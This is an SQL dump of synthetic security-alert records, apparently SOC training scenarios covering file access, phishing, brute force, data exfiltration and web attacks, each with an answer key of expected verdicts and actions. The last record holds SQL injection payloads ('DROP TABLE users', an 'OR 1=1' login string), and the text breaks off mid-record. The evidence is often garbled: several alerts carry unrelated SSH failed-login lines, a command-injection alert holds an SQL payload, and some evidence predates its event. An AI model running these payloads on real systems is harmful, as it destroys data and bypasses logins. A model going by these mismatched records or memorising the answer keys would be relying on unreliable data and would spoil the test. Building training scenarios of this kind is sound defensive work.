(1432, 'Unauthorized File Access Attempt', 'medium', 'Microsoft Purview', 'An employee attempted to access restricted files on the corporate server. This access attempt was blocked.', 'Data Exfil', 'T1078', 1, 'investigating', NULL, '{\"timestamp\":\"2026-03-02T09:15:00Z\",\"event_type\":\"file_access\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"10.0.0.5\",\"username\":\"jdoe\",\"hostname\":\"CORP-DESK-456\",\"command_line\":\"open \\\\\\\\10.0.0.5\\\\Restricted\\\\confidential.docx\"}', '2026-03-02 03:22:47', '2026-03-09 14:29:30', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"IP address of the employee\'s workstation\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"IP address of the corporate server\"}}],\"expected_actions\":[\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The attempt to access restricted files indicates a possible insider threat.\"}', 'Beginner', 'DLP', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.986Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:15:00Z\\\",\\\"event_type\\\":\\\"file_access\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-456\\\",\\\"command_line\\\":\\\"open \\\\\\\\\\\\\\\\10.0.0.5\\\\\\\\Restricted\\\\\\\\confidential.docx\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.986Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:15:00Z\\\",\\\"event_type\\\":\\\"file_access\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-456\\\",\\\"command_line\\\":\\\"open \\\\\\\\\\\\\\\\10.0.0.5\\\\\\\\Restricted\\\\\\\\confidential.docx\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.986Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:15:00Z\\\",\\\"event_type\\\":\\\"file_access\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-456\\\",\\\"command_line\\\":\\\"open \\\\\\\\\\\\\\\\10.0.0.5\\\\\\\\Restricted\\\\\\\\confidential.docx\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.986Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:15:00Z\\\",\\\"event_type\\\":\\\"file_access\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-456\\\",\\\"command_line\\\":\\\"open \\\\\\\\\\\\\\\\10.0.0.5\\\\\\\\Restricted\\\\\\\\confidential.docx\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.986Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:15:00Z\\\",\\\"event_type\\\":\\\"file_access\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-456\\\",\\\"command_line\\\":\\\"open \\\\\\\\\\\\\\\\10.0.0.5\\\\\\\\Restricted\\\\\\\\confidential.docx\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1433, 'Suspicious Network Connection Detected', 'critical', 'Netskope', 'A suspicious outbound connection to a known malicious IP was detected from an internal host.', 'Malware', 'T1078', 1, 'investigating', 234, '{\"timestamp\":\"2026-03-02T10:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"203.0.113.50\",\"username\":\"jdoe\",\"hostname\":\"CORP-LAP-789\"}', '2026-03-02 03:22:47', '2026-03-03 19:44:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the employee\'s device\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for malware distribution\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The destination IP is associated with known malware distribution, confirming the malicious intent.\"}', 'Beginner', 'DLP', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.987Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"203.0.113.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-789\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.987Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"203.0.113.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-789\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.987Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"203.0.113.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-789\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.987Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"203.0.113.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-789\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.987Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"203.0.113.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-789\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1434, 'Phishing Attempt Detected', 'high', 'Forcepoint', 'A phishing email was received with a link to a known malicious site. The email was flagged and quarantined.', 'Phishing', 'T1566', 1, 'investigating', 247, '{\"timestamp\":\"2026-03-02T11:30:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.25\",\"username\":\"jdoe\",\"hostname\":\"CORP-DESK-101\",\"email_sender\":\"phisher@maliciousdomain.com\",\"url\":\"http://maliciousdomain.com/login\"}', '2026-03-02 03:22:47', '2026-03-07 01:25:08', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"phisher@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Email address linked to multiple phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://maliciousdomain.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL used for credential harvesting attacks\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The phishing email contains a link to a malicious domain, warranting immediate action.\"}', 'Beginner', 'DLP', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.989Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-101\\\",\\\"email_sender\\\":\\\"phisher@maliciousdomain.com\\\",\\\"url\\\":\\\"http://maliciousdomain.com/login\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.989Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-101\\\",\\\"email_sender\\\":\\\"phisher@maliciousdomain.com\\\",\\\"url\\\":\\\"http://maliciousdomain.com/login\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.989Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-101\\\",\\\"email_sender\\\":\\\"phisher@maliciousdomain.com\\\",\\\"url\\\":\\\"http://maliciousdomain.com/login\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.989Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-101\\\",\\\"email_sender\\\":\\\"phisher@maliciousdomain.com\\\",\\\"url\\\":\\\"http://maliciousdomain.com/login\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.989Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-101\\\",\\\"email_sender\\\":\\\"phisher@maliciousdomain.com\\\",\\\"url\\\":\\\"http://maliciousdomain.com/login\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1435, 'Unusual Login Activity Detected', 'medium', 'Microsoft Purview', 'Multiple failed login attempts were recorded from a foreign IP address, indicating a potential brute force attack.', 'Credential Attack', 'T1078', 1, 'investigating', 237, '{\"timestamp\":\"2026-03-02T12:00:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.60\",\"dst_ip\":\"192.168.1.30\",\"username\":\"jdoe\",\"hostname\":\"CORP-SVR-202\",\"failed_attempts\":25}', '2026-03-02 03:22:47', '2026-03-04 16:07:10', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.60\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for multiple brute force attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"IP address of the corporate server\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The foreign IP is associated with known brute force activities, confirming the attack.\"}', 'Beginner', 'DLP', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.991Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.60\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-SVR-202\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-02T13:54:06.991Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.60\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-SVR-202\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-02T13:53:06.991Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.60\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-SVR-202\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-02T13:52:06.991Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.60\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-SVR-202\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-02T13:51:06.991Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.60\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-SVR-202\\\",\\\"failed_attempts\\\":25}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1436, 'Unauthorized Software Installation Detected', 'medium', 'Symantec DLP', 'An employee attempted to install unauthorized software on their workstation, which was detected by DLP policies.', 'Malware', 'T1059', 0, 'investigating', NULL, '{\"timestamp\":\"2026-03-02T13:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.35\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"CORP-DESK-303\",\"command_line\":\"msiexec /i C:\\\\Downloads\\\\unknownapp.msi\"}', '2026-03-02 03:22:47', '2026-03-04 16:18:42', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.35\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"IP address of the employee\'s workstation\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"msiexec /i C:\\\\Downloads\\\\unknownapp.msi\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command related to software installation, not malicious\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The installation attempt was benign as the software was legitimate but unknown to the system.\"}', 'Beginner', 'DLP', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.992Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.35\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-303\\\",\\\"command_line\\\":\\\"msiexec /i C:\\\\\\\\Downloads\\\\\\\\unknownapp.msi\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.992Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.35\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-303\\\",\\\"command_line\\\":\\\"msiexec /i C:\\\\\\\\Downloads\\\\\\\\unknownapp.msi\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.992Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.35\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-303\\\",\\\"command_line\\\":\\\"msiexec /i C:\\\\\\\\Downloads\\\\\\\\unknownapp.msi\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.992Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.35\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-303\\\",\\\"command_line\\\":\\\"msiexec /i C:\\\\\\\\Downloads\\\\\\\\unknownapp.msi\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.992Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.35\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-303\\\",\\\"command_line\\\":\\\"msiexec /i C:\\\\\\\\Downloads\\\\\\\\unknownapp.msi\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1437, 'Abnormal Data Transfer Detected', 'high', 'Forcepoint', 'A large volume of sensitive data was transferred to an external IP address, triggering a policy violation alert.', 'Data Exfil', 'T1059', 1, 'investigating', 222, '{\"timestamp\":\"2026-03-02T14:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.40\",\"dst_ip\":\"198.51.100.10\",\"username\":\"jdoe\",\"hostname\":\"CORP-LAP-404\"}', '2026-03-02 03:22:47', '2026-03-08 14:05:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.40\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP of the user\'s laptop\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 500 times for data exfiltration activities\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The external IP is linked to known data exfiltration activities, confirming malicious intent.\"}', 'Beginner', 'DLP', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.994Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.40\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-404\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.994Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.40\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-404\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.994Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.40\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-404\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.994Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.40\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-404\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.994Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.40\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-404\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1438, 'Command Injection Attempt Detected', 'critical', 'Netskope', 'A command injection attempt was made against a web application, detected and blocked by security systems.', 'Web Attack', 'T1059', 0, 'investigating', 247, '{\"timestamp\":\"2026-03-02T15:00:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.70\",\"dst_ip\":\"192.168.1.50\",\"username\":\"webuser\",\"hostname\":\"CORP-WEB-505\",\"request_body\":\"id=1; DROP TABLE users;\"}', '2026-03-02 03:22:47', '2026-03-05 11:37:39', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.70\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple web attack attempts\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"id=1; DROP TABLE users;\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The request body contained a SQL injection payload, confirming the attack attempt.\"}', 'Beginner', 'DLP', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.995Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 